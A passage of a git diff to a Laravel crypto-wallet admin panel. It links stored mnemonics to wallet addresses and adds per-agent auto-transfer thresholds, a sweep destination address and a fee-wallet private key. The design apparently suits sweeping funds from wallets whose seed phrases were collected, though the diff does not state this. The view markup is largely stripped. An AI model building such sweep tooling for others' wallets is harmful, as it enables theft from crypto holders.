Tron — leave those columns untouched. - $address->save(); + $this->persistCoins($address, [ + 'trx' => $balances['trx'], + 'usdt' => $balances['usdt'], + ]); Log::info('tron balance refresh ok', [ 'wallet_address_id' => $address->id, @@ -144,6 +148,22 @@ class WalletBalanceService } } + /** + * Always write coin columns back to wallet_addresses (even when values are unchanged). + * + * @param array $coins + */ + private function persistCoins(WalletAddress $address, array $coins): void + { + if ($address->id === null || $coins === []) { + return; + } + + $coins['updated_at'] = now(); + WalletAddress::query()->whereKey($address->id)->update($coins); + $address->refresh(); + } + /** * TronGrid REST: native + TRC20 in one call. * Empty data[] (never-activated account) → explicit zeros. diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 9583a84..56106a1 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -133,9 +133,7 @@ final class WalletSource 'ETH', 'ETHEREUM', 'EVM', 'TRX', 'TRON', 'BTC', 'BITCOIN', - 'SOL', 'SOLANA', 'BNB', 'BSC', 'BINANCE', - 'TON', ]; public static function isSupportedChain(string $chainType): bool diff --git a/config/coruna.php b/config/coruna.php index 261786a..5fd44c9 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -54,6 +54,14 @@ return [ 'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5), ], + 'auto_transfer' => [ + 'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true), + 'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''), + 'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''), + 'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''), + 'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''), + ], + // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing // system paths with is_executable() under open_basedir (see CorunaArchive). 'seven_zip' => env('CORUNA_7Z_BIN', ''), @@ -95,6 +103,10 @@ return [ 'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''), 'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''), + 'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''), + 'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''), + // Target TRX balance before a transfer (shortfall only is sent). + 'fee_topup_trx' => env('TRANSFER_FEE_TOPUP_TRX', '20'), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'), 'max_eth' => env('TRANSFER_MAX_ETH', '0'), diff --git a/database/migrations/2026_08_16_000010_wallet_addresses_mnemonic_link.php b/database/migrations/2026_08_16_000010_wallet_addresses_mnemonic_link.php new file mode 100644 index 0000000..16983f6 --- /dev/null +++ b/database/migrations/2026_08_16_000010_wallet_addresses_mnemonic_link.php @@ -0,0 +1,30 @@ +foreignId('mnemonic_id') + ->nullable() + ->after('source') + ->constrained('wallet_mnemonics') + ->nullOnDelete(); + $table->unsignedTinyInteger('derive_index') + ->nullable() + ->after('mnemonic_id'); + }); + } + + public function down(): void + { + Schema::table('wallet_addresses', function (Blueprint $table) { + $table->dropConstrainedForeignId('mnemonic_id'); + $table->dropColumn('derive_index'); + }); + } +}; diff --git a/database/migrations/2026_08_16_000020_users_auto_transfer.php b/database/migrations/2026_08_16_000020_users_auto_transfer.php new file mode 100644 index 0000000..77a9202 --- /dev/null +++ b/database/migrations/2026_08_16_000020_users_auto_transfer.php @@ -0,0 +1,32 @@ +boolean('auto_transfer_enabled')->default(false)->after('chat_id'); + $table->decimal('auto_transfer_threshold_usdt', 24, 8)->nullable()->after('auto_transfer_enabled'); + $table->decimal('auto_transfer_threshold_trx', 24, 8)->nullable()->after('auto_transfer_threshold_usdt'); + $table->decimal('auto_transfer_threshold_eth', 24, 8)->nullable()->after('auto_transfer_threshold_trx'); + $table->decimal('auto_transfer_threshold_btc', 24, 8)->nullable()->after('auto_transfer_threshold_eth'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn([ + 'auto_transfer_enabled', + 'auto_transfer_threshold_usdt', + 'auto_transfer_threshold_trx', + 'auto_transfer_threshold_eth', + 'auto_transfer_threshold_btc', + ]); + }); + } +}; diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 8913e2a..aa8f937 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -46,6 +46,26 @@ +
+ +
+ +
+
+
+ +
+ +
+
@@ -91,6 +111,9 @@ layui.use(['table', 'form', 'layer'], function () { { field: 'chain_type', title: 'Chain', width: 110, templet: function (d) { return chainTag(d.chain_type); }}, + { field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) { + return d.mnemonic_id ? d.mnemonic_id : '—'; + }}, { field: 'usdt', title: 'USDT', width: 100, sort: true }, { field: 'trx', title: 'TRX', width: 100, sort: true }, { field: 'eth', title: 'ETH', width: 100, sort: true }, diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index a2ec3b8..3a3cd71 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -94,7 +94,7 @@ layui.use(['table', 'form', 'layer'], function () { layer.open({ type: 1, title: title, - area: ['520px', '520px'], + area: ['560px', 'auto'], content: '
' + '
' + '
' + @@ -115,9 +115,25 @@ layui.use(['table', 'form', 'layer'], function () { '
' + '' + '
' + + '
' + + '' + + '
仅控制该代理渠道,与系统官方开关互不影响
' + + '
' + + '
' + + '' + + '' + + '' + + '' + + '
留空则用系统阈值(系统也空则 >0)
' + '
', - success: function () { + success: function (layero, index) { form.render(); + var maxH = Math.max(240, window.innerHeight - 140); + var $content = layero.find('.layui-layer-content'); + if ($content.outerHeight() > maxH) { + $content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' }); + layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' }); + } $('#LAY-agent-tg-test').on('click', function () { var $btn = $(this); if ($btn.prop('disabled')) return; @@ -147,7 +163,9 @@ layui.use(['table', 'form', 'layer'], function () { var data = {}; $('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; }); data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0; + data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0; delete data.status_switch; + delete data.auto_transfer_switch; onOk(data, index); } }); diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index 536fa1b..b9e9160 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -4,6 +4,33 @@ @section('content') @php $portal = $portal ?? 'admin'; @endphp +
@@ -34,6 +61,7 @@
@@ -42,9 +70,151 @@ @push('scripts')